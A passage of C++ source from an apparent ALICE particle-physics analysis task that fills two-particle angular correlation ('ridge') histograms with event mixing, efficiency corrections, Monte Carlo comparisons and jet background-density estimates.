pi+PhiThres+pi/4.0-addPhi ) ){ continue; } } else if( PhiThres < pi/4.0-addPhi ){ if( ( track1->Phi() > 0 && track1->Phi() < PhiThres+pi/4.0-addPhi ) || ( track1->Phi() > pi+PhiThres-pi/4.0+addPhi && track1->Phi() < pi+PhiThres+pi/4.0-addPhi ) || ( track1->Phi() > 2.0*pi+PhiThres-pi/4.0+addPhi ) ){ continue; } } } // for (UInt_t jt = it+1; jt < ntracks; jt++) { for (UInt_t jt = 0; jt < ntracks; jt++) { if( it == jt ) continue; track2 = (AliVTrack*) fEvt->GetTrack(goodtrackindices[jt]); if (!track2) continue; if( fOption.Contains("MyTrack") ){ if( ( track2->Phi() > PhiThres && track2->Phi() < pi - PhiThres ) || ( track2->Phi() > pi + PhiThres && track2->Phi() < 2.0*pi - PhiThres ) ){ continue; } } if( fOption.Contains("UETrack") ){ if( PhiThres > pi/4.0-addPhi ){ if( ( track2->Phi() > PhiThres-pi/4.0+addPhi && track2->Phi() < PhiThres+pi/4.0-addPhi ) || ( track2->Phi() > pi+PhiThres-pi/4.0+addPhi && track2->Phi() < pi+PhiThres+pi/4.0-addPhi ) ){ continue; } } else if( PhiThres < pi/4.0-addPhi ){ if( ( track2->Phi() > 0 && track2->Phi() < PhiThres+pi/4.0-addPhi ) || ( track2->Phi() > pi+PhiThres-pi/4.0+addPhi && track2->Phi() < pi+PhiThres+pi/4.0-addPhi ) || ( track2->Phi() > 2.0*pi+PhiThres-pi/4.0+addPhi ) ){ continue; } } } double deltaeta = track1->Eta() - track2->Eta(); double deltaphi = track1->Phi() - track2->Phi(); // if( track1-> Pt() < track2-> Pt()){ // deltaeta *= -1.0; // deltaphi *= -1.0; // } deltaphi = TVector2::Phi_0_2pi(deltaphi); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( !fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = Eff[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-fEff_eta_min)/fEff_eta_l) ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = Eff[ binPt.FindBin(track2->Pt())-1 ][ (int)((track2->Eta()-fEff_eta_min)/fEff_eta_l) ]; } else{ eff2 = 1.0; } if( fOption.Contains("Asso") ){ if( track1-> Pt() > track2-> Pt() ){ eff1 = 1.0; } else if( track1-> Pt() < track2-> Pt() ){ eff2 = 1.0; } } } else if( fOption.Contains("Add3DEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = Eff3D[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-fEff_eta_min)/fEff_eta_l) ][ (int)(track1->Phi()/(2.0*pi/fEff_nphi_step)) ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = Eff3D[ binPt.FindBin(track2->Pt())-1 ][ (int)((track2->Eta()-fEff_eta_min)/fEff_eta_l) ][ (int)(track2->Phi()/(2.0*pi/fEff_nphi_step)) ]; } } else if( fOption.Contains("AddpTEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = EffpT[ binPt.FindBin(track1->Pt())-2 ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = EffpT[ binPt.FindBin(track2->Pt())-2 ]; } else{ eff2 = 1.0; } } else{ eff1 = 1.0; eff2 = 1.0; } } else if( fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = Eff[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-ITS_fEff_eta_min)/ITS_fEff_eta_l) ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = Eff[ binPt.FindBin(track2->Pt())-1 ][ (int)((track2->Eta()-ITS_fEff_eta_min)/ITS_fEff_eta_l) ]; } else{ eff2 = 1.0; } if( fOption.Contains("Asso") ){ if( track1-> Pt() > track2-> Pt() ){ eff1 = 1.0; } else if( track1-> Pt() < track2-> Pt() ){ eff2 = 1.0; } } } } if( NTracksPerPtBin[binTPt.FindBin( max(track1->Pt(),track2-> Pt()) )-1] > 0 ){ // FillTHnSparse("hRidge",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()) }, // 1.0/ ( NTracksPerPtBin[binTPt.FindBin( max(track1->Pt(),track2-> Pt()) )-1]*eff1*eff2 ) ); FillTHnSparse("hRidgeLT",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()),MaxPt}, track1-> Pt(),track2-> Pt(),MaxPt}, 1.0/ ( eff1*eff2 ) ); FillTHnSparse("hRidgeJet",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()),fJetPt}, track1-> Pt(),track2-> Pt(),fJetPt}, 1.0/ ( eff1*eff2 ) ); } // FillTHnSparse("hRidgeNTrig",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()) }, // 1.0/ ( eff1*eff2 ) ); } } int epsize=1; if (fsetmixing && centbin>=0 && zbin>=0 && centbin < binCent.GetNbins() && zbin < binZ.GetNbins() ){ eventpool &ep = fEMpool[centbin][zbin]; epsize = ep.size(); if (ep.size()<bookingsize ) return; int n = 0; for (auto pool: ep){ if (n == (ep.size() -1 )) continue; for (auto track: pool) trackpool.push_back((AliVTrack*)track); n++; } } if (fsetmixing){ for (UInt_t it = 0; it < ntracks; it++) { track1 = (AliVTrack*) fEvt->GetTrack(goodtrackindices.at(it)) ; for (UInt_t jt = 0; jt < trackpool.size(); jt++) { track2 = trackpool.at(jt); if (track1-> Pt() < track2->Pt()) continue; //trigger pT > associated pT if( fOption.Contains("MyTrack") ){ if( ( track1->Phi() > PhiThres && track1->Phi() < pi - PhiThres ) || ( track1->Phi() > pi + PhiThres && track1->Phi() < 2.0*pi - PhiThres ) ){ continue; } } if( fOption.Contains("MyTrack") ){ if( ( track2->Phi() > PhiThres && track2->Phi() < pi - PhiThres ) || ( track2->Phi() > pi + PhiThres && track2->Phi() < 2.0*pi - PhiThres ) ){ continue; } } if( fOption.Contains("UETrack") ){ if( PhiThres > pi/4.0-addPhi ){ if( ( track1->Phi() > PhiThres-pi/4.0+addPhi && track1->Phi() < PhiThres+pi/4.0-addPhi ) || ( track1->Phi() > pi+PhiThres-pi/4.0+addPhi && track1->Phi() < pi+PhiThres+pi/4.0-addPhi ) ){ continue; } } else if( PhiThres < pi/4.0-addPhi ){ if( ( track1->Phi() > 0 && track1->Phi() < PhiThres+pi/4.0-addPhi ) || ( track1->Phi() > pi+PhiThres-pi/4.0+addPhi && track1->Phi() < pi+PhiThres+pi/4.0-addPhi ) || ( track1->Phi() > 2.0*pi+PhiThres-pi/4.0+addPhi ) ){ continue; } } } if( fOption.Contains("UETrack") ){ if( PhiThres > pi/4.0-addPhi ){ if( ( track2->Phi() > PhiThres-pi/4.0+addPhi && track2->Phi() < PhiThres+pi/4.0-addPhi ) || ( track2->Phi() > pi+PhiThres-pi/4.0+addPhi && track2->Phi() < pi+PhiThres+pi/4.0-addPhi ) ){ continue; } } else if( PhiThres < pi/4.0-addPhi ){ if( ( track2->Phi() > 0 && track2->Phi() < PhiThres+pi/4.0-addPhi ) || ( track2->Phi() > pi+PhiThres-pi/4.0+addPhi && track2->Phi() < pi+PhiThres+pi/4.0-addPhi ) || ( track2->Phi() > 2.0*pi+PhiThres-pi/4.0+addPhi ) ){ continue; } } } double deltaeta = track1->Eta() - track2->Eta(); double deltaphi = TVector2::Phi_0_2pi(track1->Phi() - track2->Phi()); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( !fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = Eff[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-fEff_eta_min)/fEff_eta_l) ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = Eff[ binPt.FindBin(track2->Pt())-1 ][ (int)((track2->Eta()-fEff_eta_min)/fEff_eta_l) ]; } else{ eff2 = 1.0; } if( fOption.Contains("Asso") ){ if( track1-> Pt() > track2-> Pt() ){ eff1 = 1.0; eff2 = Eff[ binPt.FindBin(track2->Pt())-1 ][ (int)((track2->Eta()-fEff_eta_min)/fEff_eta_l) ]; } else if( track1-> Pt() < track2-> Pt() ){ eff1 = Eff[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-fEff_eta_min)/fEff_eta_l) ]; eff2 = 1.0; } } } else if( fOption.Contains("Add3DEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = Eff3D[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-fEff_eta_min)/fEff_eta_l) ][ (int)(track1->Phi()/(2.0*pi/fEff_nphi_step)) ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = Eff3D[ binPt.FindBin(track2->Pt())-1 ][ (int)((track2->Eta()-fEff_eta_min)/fEff_eta_l) ][ (int)(track2->Phi()/(2.0*pi/fEff_nphi_step)) ]; } } else if( fOption.Contains("AddpTEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = EffpT[ binPt.FindBin(track1->Pt())-2 ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = EffpT[ binPt.FindBin(track2->Pt())-2 ]; } else{ eff2 = 1.0; } } else{ eff1 = 1.0; eff2 = 1.0; } } else if( fOption.Contains("ITS") ){ if( fOption.Contains("AddEff") ){ if( track1->Pt() < fEff_pT_max ){ eff1 = Eff[ binPt.FindBin(track1->Pt())-1 ][ (int)((track1->Eta()-ITS_fEff_eta_min)/ITS_fEff_eta_l) ]; } else{ eff1 = 1.0; } if( track2->Pt() < fEff_pT_max ){ eff2 = Eff[ binPt.FindBin(track2->Pt())-1 ][ (int)((track2->Eta()-ITS_fEff_eta_min)/ITS_fEff_eta_l) ]; } else{ eff2 = 1.0; } if( fOption.Contains("Asso") ){ if( track1-> Pt() > track2-> Pt() ){ eff1 = 1.0; } else if( track1-> Pt() < track2-> Pt() ){ eff2 = 1.0; } } } else{ eff1 = 1.0; eff2 = 1.0; } } // FillTHnSparse("hRidgeMixing",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()) }, 1.0/(epsize-1)/ntracks/eff1/eff2 ); if( NTracksPerPtBin[binTPt.FindBin( max(track1->Pt(),track2-> Pt()) )-1] > 0 ){ // FillTHnSparse("hRidgeMixingS",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()) }, // 1.0/(NTracksPerPtBin[binTPt.FindBin( max(track1->Pt(),track2-> Pt()) )-1]*eff1*eff2) ); FillTHnSparse("hRidgeMixingSLT",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()),MaxPt}, track1-> Pt(),track2-> Pt(),MaxPt}, 1.0/(eff1*eff2) ); FillTHnSparse("hRidgeMixingSJet",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()),fJetPt}, track1-> Pt(),track2-> Pt(),fJetPt}, 1.0/(eff1*eff2) ); } // FillTHnSparse("hRidgeMixingSNTrig",{fCent, deltaphi, deltaeta, // max(track1-> Pt(),track2-> Pt()), // min(track1-> Pt(),track2-> Pt()) }, 1.0/(eff1*eff2) ); } } } } void AliAnalysisTaskRidge::FillTracklets(){ trackletlist trackpool; int epsize=1; if (fsetmixing && centbin>=0 && zbin>=0){ eventpooltracklet &ep = fEMpooltracklet[centbin][zbin]; epsize = ep.size(); if (ep.size()< bookingsize/20 ) return; int n = 0; for (auto pool: ep){ if (n == (ep.size() -1 )) continue; for (auto track: pool) trackpool.push_back(track); n++; } } //eta is in ordering, so detaleta is always negative. solution -> Shuffle /* std::random_device rd; std::default_random_engine engine{rd()}; std::shuffle ( goodtrackindices.begin(), goodtrackindices.end(), engine ); */ fMultiplicity = fEvt -> GetMultiplicity(); const UInt_t ntracks = goodtrackindices.size(); Double_t eta1 = 0, phi1=0; Double_t eta2 = 0, phi2=0; for (UInt_t it = 0; it<ntracks-1; it++){ eta1 = fMultiplicity -> GetEta(goodtrackindices[it]); phi1 = fMultiplicity -> GetPhi(goodtrackindices[it]); for (UInt_t jt = it+1; jt<ntracks; jt++){ eta2 = fMultiplicity -> GetEta(goodtrackindices[jt]); phi2 = fMultiplicity -> GetPhi(goodtrackindices[jt]); double deltaeta = eta1 - eta2; double deltaphi = TVector2::Phi_0_2pi(phi1 - phi2); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( !fOption.Contains("SPDEff") ) FillTHnSparse("hRidge",{fCent, deltaphi, deltaeta,2,2 },1.0/ntracks ); else if( fOption.Contains("SPDEff") ) FillTHnSparse("hRidge",{fCent, deltaphi, deltaeta,2,2 }, 1.0/( ntracks* Eff[ (int)( TVector2::Phi_0_2pi(phi1)*180.0/(2*pi) ) ][ (int)( ( eta1+2.0 )*40.0/4.0 ) ]* Eff[ (int)( TVector2::Phi_0_2pi(phi2)*180.0/(2*pi) ) ][ (int)( ( eta2+2.0 )*40.0/4.0 ) ] ) ); } } if (fsetmixing){ for (UInt_t it = 0; it<ntracks; it++){ eta1 = fMultiplicity -> GetEta(goodtrackindices[it]); phi1 = fMultiplicity -> GetPhi(goodtrackindices[it]); for (UInt_t jt = 0; jt<trackpool.size(); jt++){ eta2 = trackpool.at(jt).eta; phi2 = trackpool.at(jt).phi; double deltaeta = eta1 - eta2; double deltaphi = TVector2::Phi_0_2pi(phi1 - phi2); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( !fOption.Contains("SPDEff") ) FillTHnSparse("hRidgeMixing",{fCent, deltaphi, deltaeta,1,1 },1.0/(ntracks*(epsize-1)) ); else if( fOption.Contains("SPDEff") ) FillTHnSparse("hRidgeMixing",{fCent, deltaphi, deltaeta,1,1 }, 1.0/( ntracks*(epsize-1)* Eff[ (int)( TVector2::Phi_0_2pi(phi1)*180.0/(2*pi) ) ][ (int)( ( eta1+2.0 )*40.0/4.0 ) ]* Eff[ (int)( TVector2::Phi_0_2pi(phi2)*180.0/(2*pi) ) ][ (int)( ( eta2+2.0 )*40.0/4.0 ) ] ) ); } } } } void AliAnalysisTaskRidge::FillTracksMC(){ NTracksPerPtBinMCALICE.clear(); NTracksPerPtBinMCALICE.resize( binTPt.GetNbins() ); NTracksPerPtBinMCCMS.clear(); NTracksPerPtBinMCCMS.resize( binTPt.GetNbins() ); for(int i=0;i<binTPt.GetNbins();i++){ NTracksPerPtBinMCALICE[i] =0 ; NTracksPerPtBinMCCMS[i] = 0; } AliAODMCParticle *par1; AliAODMCParticle *par2; Particlelet parMixing; const UInt_t nTracksMCALICE = goodtrackindicesMCALICE.size(); const UInt_t nTracksMCCMS = goodtrackindicesMCCMS.size(); trackMClist trkpoolMCALICE; trackMClist trkpoolMCCMS; int epsizeALICE=0, epsizeCMS=0; int n=0; double deltaeta; double deltaphi; double MaxPtALICE=0; double MaxPhiALICE; double MaxEtaALICE; double MaxPtCMS=0; double MaxPhiCMS; double MaxEtaCMS; if( IsMC && fEvt->IsA()==AliAODEvent::Class() ){ if( fabs(fZ_gen)<AbsZmax ){ for(Int_t iTracks = 0; iTracks < nTracksMCALICE; iTracks++){ par1 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCALICE[iTracks])); if( !par1 ) continue; NTracksPerPtBinMCALICE[ binTPt.FindBin( par1->Pt() )-1 ]++; if( MaxPtALICE < par1->Pt() ){ MaxPtALICE = par1->Pt(); MaxPhiALICE = par1->Phi(); MaxEtaALICE = par1->Eta(); } } for(Int_t iTracks = 0; iTracks < nTracksMCCMS; iTracks++){ par1 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCCMS[iTracks])); if( !par1 ) continue; NTracksPerPtBinMCCMS[ binTPt.FindBin( par1->Pt() )-1 ]++; if( MaxPtCMS < par1->Pt() ){ MaxPtCMS = par1->Pt(); MaxPhiCMS = par1->Phi(); MaxEtaCMS = par1->Eta(); } } } } if( nTracksMCALICE > 1 && !fOption.Contains("CMSOnly") ){ FillTHnSparse("hTrackMCALICELT",{fCent,MaxPtALICE,MaxPhiALICE,MaxEtaALICE,fZ_gen},1.0); } if( nTracksMCCMS > 1 && fOption.Contains("AddCMS") ) FillTHnSparse("hTrackMCCMSLT",{fCent,MaxPtCMS,MaxPhiCMS,MaxEtaCMS,fZ_gen},1.0); for(int i=0;i<binTPt.GetNbins();i++){ if( !fOption.Contains("CMSOnly") ){ FillTHnSparse("hNtrigMCALICE",{fCent,binTPt.GetBinCenter(i+1),1.0,MaxPtALICE},NTracksPerPtBinMCALICE[i]); FillTHnSparse("hNtrigMCALICEJet",{fCent,binTPt.GetBinCenter(i+1),1.0,fJetPtMC},NTracksPerPtBinMCALICE[i]); } if( fOption.Contains("AddCMS") ){ FillTHnSparse("hNtrigMCCMS",{fCent,binTPt.GetBinCenter(i+1),1.0,MaxPtCMS},NTracksPerPtBinMCCMS[i]); FillTHnSparse("hNtrigMCCMSJet",{fCent,binTPt.GetBinCenter(i+1),1.0,fJetPtMC},NTracksPerPtBinMCCMS[i]); } } if( IsMC && fEvt->IsA()==AliAODEvent::Class() ){ if( fabs(fZ_gen)<AbsZmax ){ if( nTracksMCALICE > 0 ){ for(Int_t iTracks = 0; iTracks < nTracksMCALICE-1; iTracks++){ par1 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCALICE[iTracks])); if( !par1 ) continue; for(Int_t jTracks = iTracks+1; jTracks < nTracksMCALICE; jTracks++){ par2 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCALICE[jTracks])); if( !par2 ) continue; deltaeta = par1->Eta() - par2->Eta(); deltaphi = par1->Phi() - par2->Phi(); if( par1->Pt() < par2->Pt() ){ deltaeta *= -1.0; deltaphi *= -1.0; } deltaphi = TVector2::Phi_0_2pi(deltaphi); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( NTracksPerPtBinMCALICE[binTPt.FindBin( max(par1->Pt(),par2->Pt()) )-1] > 0 ){ if( !fOption.Contains("CMSOnly") ){ FillTHnSparse("hRidgeMCALICELT",{fCent,deltaphi,deltaeta, max(par1-> Pt(),par2-> Pt()), min(par1-> Pt(),par2-> Pt()),MaxPtALICE}, 1.0 ); FillTHnSparse("hRidgeMCALICEJet",{fCent,deltaphi,deltaeta, max(par1-> Pt(),par2-> Pt()), min(par1-> Pt(),par2-> Pt()),fJetPtMC}, 1.0 ); } } } } } if( nTracksMCCMS > 0 && fOption.Contains("AddCMS") ) for(Int_t iTracks = 0; iTracks < nTracksMCCMS-1; iTracks++){ par1 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCCMS[iTracks])); if( !par1 ) continue; for(Int_t jTracks = iTracks+1; jTracks < nTracksMCCMS; jTracks++){ par2 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCCMS[jTracks])); if( !par2 ) continue; deltaeta = par1->Eta() - par2->Eta(); deltaphi = par1->Phi() - par2->Phi(); if( par1->Pt() < par2->Pt() ){ deltaeta *= -1.0; deltaphi *= -1.0; } deltaphi = TVector2::Phi_0_2pi(deltaphi); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( NTracksPerPtBinMCCMS[binTPt.FindBin( max(par1->Pt(),par2-> Pt()) )-1] > 0 ){ FillTHnSparse("hRidgeMCCMSLT",{fCent,deltaphi,deltaeta, max(par1-> Pt(),par2-> Pt()), min(par1-> Pt(),par2-> Pt()),MaxPtCMS}, 1.0 ); } } } } } if( fsetmixing && centbin>=0 && zbin>=0 && IsMC ){ eventpoolMC &epMCALICE = fEMpoolMCALICE[centbin][zbin]; eventpoolMC &epMCCMS = fEMpoolMCCMS[centbin][zbin]; epsizeALICE = epMCALICE.size(); if( epMCALICE.size() < bookingsizeMC ) return; n=0; for( auto pool: epMCALICE ){ if( n == (epMCALICE.size() -1 ) ) continue; for( auto track: pool ) trkpoolMCALICE.push_back(track); n++; } epsizeCMS = epMCCMS.size(); if( epMCCMS.size() < bookingsizeMC ) return; n=0; for( auto pool: epMCCMS ){ if( n == (epMCCMS.size() -1 ) ) continue; for( auto track: pool ) trkpoolMCCMS.push_back(track); n++; } } if( IsMC && fEvt->IsA()==AliAODEvent::Class() && fsetmixing ){ if( fabs(fZ_gen)<AbsZmax ){ if( nTracksMCALICE > 0 ){ for(Int_t iTracks = 0; iTracks < nTracksMCALICE; iTracks++){ par1 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCALICE[iTracks])); if( !par1 ) continue; for(Int_t jTracks = 0; jTracks < trkpoolMCALICE.size(); jTracks++){ parMixing = trkpoolMCALICE.at(jTracks); if( par1->Pt() < parMixing.pt ) continue; deltaeta = par1->Eta() - parMixing.eta; deltaphi = par1->Phi() - parMixing.phi; deltaphi = TVector2::Phi_0_2pi(deltaphi); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( NTracksPerPtBinMCALICE[binTPt.FindBin( max(par1->Pt(),parMixing.pt) )-1] > 0 ){ if( !fOption.Contains("CMSOnly") ){ FillTHnSparse("hRidgeMixingSMCALICELT",{fCent,deltaphi,deltaeta, max(par1-> Pt(),parMixing.pt), min(par1-> Pt(),parMixing.pt),MaxPtALICE}, 1.0 ); FillTHnSparse("hRidgeMixingSMCALICEJet",{fCent,deltaphi,deltaeta, max(par1-> Pt(),parMixing.pt), min(par1-> Pt(),parMixing.pt),fJetPtMC}, 1.0 ); } } } } } if( fOption.Contains("AddCMS") ) for(Int_t iTracks = 0; iTracks < nTracksMCCMS; iTracks++){ par1 = dynamic_cast<AliAODMCParticle*>(fMCArray->At(goodtrackindicesMCCMS[iTracks])); if( !par1 ) continue; for(Int_t jTracks = 0; jTracks < trkpoolMCCMS.size(); jTracks++){ parMixing = trkpoolMCCMS.at(jTracks); if( par1->Pt() < parMixing.pt ) continue; deltaeta = par1->Eta() - parMixing.eta; deltaphi = par1->Phi() - parMixing.phi; deltaphi = TVector2::Phi_0_2pi(deltaphi); if( deltaphi > 1.5*pi ) deltaphi -= 2.0*pi; if( NTracksPerPtBinMCCMS[binTPt.FindBin( max(par1->Pt(),parMixing.pt) )-1] > 0 ){ FillTHnSparse("hRidgeMixingSMCCMSLT",{fCent,deltaphi,deltaeta, max(par1-> Pt(),parMixing.pt), min(par1-> Pt(),parMixing.pt),MaxPtCMS}, 1.0 ); } } } } } } void AliAnalysisTaskRidge::RhoSparse(AliJetContainer *ktContainer, AliJetContainer * aktContainer , Int_t numberofexcludingjets) { // Lets exclude a dijet AliEmcalJet *leading = nullptr; AliEmcalJet *subleading = nullptr; Int_t n = 0; //for (auto ij : aktContainer->accepted_momentum()) // { // auto j = ij.second; // cout << "sg jet pt : " << j->Pt() << endl; // n++; //} n = 0; Int_t njetacc = 0; static Double_t rhovec[999]; Double_t TotaljetAreaPhys=0; Double_t TotalTPCArea=2*TMath::Pi()*0.9; // Double_t TotalTPCArea = 0.0; for (auto iBg : ktContainer->accepted_momentum()) { if (n < numberofexcludingjets) { n++; continue; } auto bgjet = iBg.second; Bool_t matched = false; for (auto iSg : aktContainer->accepted_momentum()) { auto sgjet = iSg.second; matched = (isOverlapping(bgjet, sgjet)) ? true : false; } //cout << "n = "<<n<< " kt jet pt : " << bgjet->Pt() << " matched : "<< matched << " jet eta = "<<bgjet->Eta()<< endl; // TotalTPCArea += bgjet->Area(); if (bgjet -> GetNumberOfTracks()>0 && bgjet->Pt()>0.1 ){ rhovec[njetacc] = bgjet->Pt() / bgjet->Area(); TotaljetAreaPhys += bgjet->Area(); njetacc++; } n++; } Double_t OccCorr=1; OccCorr = TotaljetAreaPhys/TotalTPCArea; if (njetacc > 0 ) RHO = TMath::Median(njetacc, rhovec); else RHO = 0; RHO *= OccCorr; //cout << "jet pt end\n\n" // << endl; } Bool_t AliAnalysisTaskRidge::isOverlapping(AliEmcalJet *jet1, AliEmcalJet *jet2) { for (Int_t i = 0; i < jet1->GetNumberOfTracks(); ++i) { Int_t jet1Track = jet1->TrackAt(i); for (Int_t j = 0; j < jet2->GetNumberOfTracks(); ++j) { Int_t jet2Track = jet2->TrackAt(j); if (jet1Track == jet2Track) return kTRUE; } } return kFALSE; } void AliAnalysisTaskRidge::MeasureBgDensity(AliJetContainer* ktContainer){ using TMath::Abs; RHO=0; RHOM=0; int n = 0; TLorentzVector1D rhoarray; Double1D Sumpt; Double1D Summ; TLorentzVector leadingkt; Bool_t isfirstdijet = true; // for( auto j : ktContainer->accepted() ){ for(int i=0;i<ktContainer->GetNJets();i++){ AliEmcalJet* j = (AliEmcalJet*)ktContainer->GetJet(i); // cout << "j->Pt() : " << j->Pt() << endl; if (fabs(j->Eta())>0.7) continue; if( j->Pt() <1e-10 ) continue; // if( !fJetTask->AcceptJet(j) ) continue; double lpt = 0; double sumpt = 0; double summ = 0; TLorentzVector sumkt (0,0,0,0); for( int it=0; it<j->GetNumberOfTracks(); it++ ) { auto trk = j->Track(it); if( ! ((AliAODTrack*) trk)->TestFilterBit(768)) continue; TLorentzVector temp; temp.SetXYZM(trk->Px(),trk->Py(),trk->Pz(),AliPID::ParticleMass(AliPID::kPion)); if( lpt < temp.Pt() ) lpt = temp.Pt(); fHistos->FillTH1("hPtCons",temp.Pt(),1.0); sumkt += temp; // sumpt += temp.Pt(); sumpt += trk->Pt(); summ += (sqrt(AliPID::ParticleMass(AliPID::kPion)*AliPID::ParticleMass(AliPID::kPion)+temp.Pt()*temp.Pt())-temp.Pt()); } sumpt /= j->Area(); summ /= j->Area(); if (n==0) { //remove leading kt jet leadingkt = sumkt; n++; continue; } //remove back-subleading kt jet else if (fabs(sumkt.DeltaPhi(leadingkt))>pi/2. && isfirstdijet){ n++; isfirstdijet = false; continue; } Sumpt.push_back(sumpt); Summ.push_back(summ); n++; } Double_t rhopt[Sumpt.size()]; Double_t rhom[Summ.size()]; int i=0; for (auto k : Sumpt){ rhopt[i] = k; i++; } i=0; for (auto k : Summ){ rhom[i] = k; i++; } RHO = TMath::Median(Sumpt.size(),rhopt); RHOM = TMath::Median(Summ.size(),rhom); // FillTHnSparse("hRho",{fCent,RHO, pthardbin},sf); } //___________________________________________________________________ void AliAnalysisTaskRidge::FinishTaskOutput() { //fOutput->Write(); } //___________________________________________________________________ void AliAnalysisTaskRidge::Terminate(Option_t*) { } //___________________________________________________________________ bool AliAnalysisTaskRidge::ALICEAccp(double pt, double eta){ if( pt > fptcut && fabs( eta ) < fetacut && !TMath::IsNaN(pt) ){ return true; } return 0; } bool AliAnalysisTaskRidge::CMSAccp(double pt, double eta){ if( pt > 0.1 && fabs( eta ) < 2.4 && !TMath::IsNaN(pt)){ return true; } return 0; } //Int_t AliAnalysisTaskRidge::GetPID(AliPIDResponse *pid, const AliVTrack *trk){ // if (!pid) return -1; // no pid available /*Double_t sigmas[] ={-999,-999,-999,-999}; Int_t ipid = kUnknown; Double_t lsigma = 3; sigmas[kPion] = pid -> NumberOfSigmasTPC(trk,AliPID::kPion); sigmas[kKaon] = pid -> NumberOfSigmasTPC(trk,AliPID::kKaon); sigmas[kProton] = pid -> NumberOfSigmasTPC(trk,AliPID::kProton); sigmas[kElectron] = pid -> NumberOfSigmasTPC(trk,AliPID::kElectron); for (int i=0; i<kUnknown; i++){ if (fabs(sigmas[i]) < lsigma) { lsigma = fabs(sigmas[i]); ipid = i; } } // derive information, whether tof pid is available if (0){ const Bool_t ka = !(trk->GetStatus() & AliESDtrack::kTOFmismatch); const Bool_t kb = (trk->GetStatus() & AliESDtrack::kTOFpid); const Bool_t ktof = ka && kb; } if (lsigma>3 ) return kUnknown; else return ipid; */ /* Double_t prob[AliPID::kSPECIES]; fPIDCombined->ComputeProbabilities(trk,pid,prob); Int_t ipid = AliPID::kUnknown; Double_t iprob = 0; for (int i=0; i<AliPID::kSPECIES; i++){ if (prob[i]>0.6 && prob[i]>iprob) { iprob = prob[i]; ipid = i; } } if (ipid == AliPID::kUnknown) ipid = AliPID::kPion; return ipid; } */ THnSparse * AliAnalysisTaskRidge::CreateTHnSparse(TString name , TString title, Int_t ndim, std::vector<TAxis> bins, Option_t * opt){ const TAxis * axises[bins.size()]; for( UInt_t i=0;i<bins.size();i++ ) axises[i]= &bins[i]; THnSparse * h= fHistos->CreateTHnSparse(name, title, ndim, axises,opt ); return h; } THnSparse * AliAnalysisTaskRidge::CreateTHnSparse(TString name , TString title, TString templ, Option_t * opt){ auto o = fHistos->FindObject(templ); if( !o ) { cout<<"ERROR: no "<<templ<<endl; gSystem->Exit(1); } auto ht = dynamic_cast<THnSparse*>( o ); const TAxis * axises[ht->GetNdimensions()]; for( int i=0;i<ht->GetNdimensions();i++ ) axises[i]= ht->GetAxis(i); auto h= fHistos->CreateTHnSparse(name, title, ht->GetNdimensions(), axises,opt ); return h; } Long64_t AliAnalysisTaskRidge::FillTHnSparse( TString name, std::vector<Double_t> x, Double_t w ){ auto hsparse = dynamic_cast<THnSparse*>( fHistos->FindObject(name) ); if(! hsparse ){ cout<<"ERROR : no "<<name<<endl; exit(1); } return FillTHnSparse( hsparse, x, w ); } Long64_t AliAnalysisTaskRidge::FillTHnSparse( THnSparse *h, std::vector<Double_t> x, Double_t w ){ if( int(x.size()) != h->GetNdimensions() ){ cout<<"ERROR : wrong sized of array while Fill 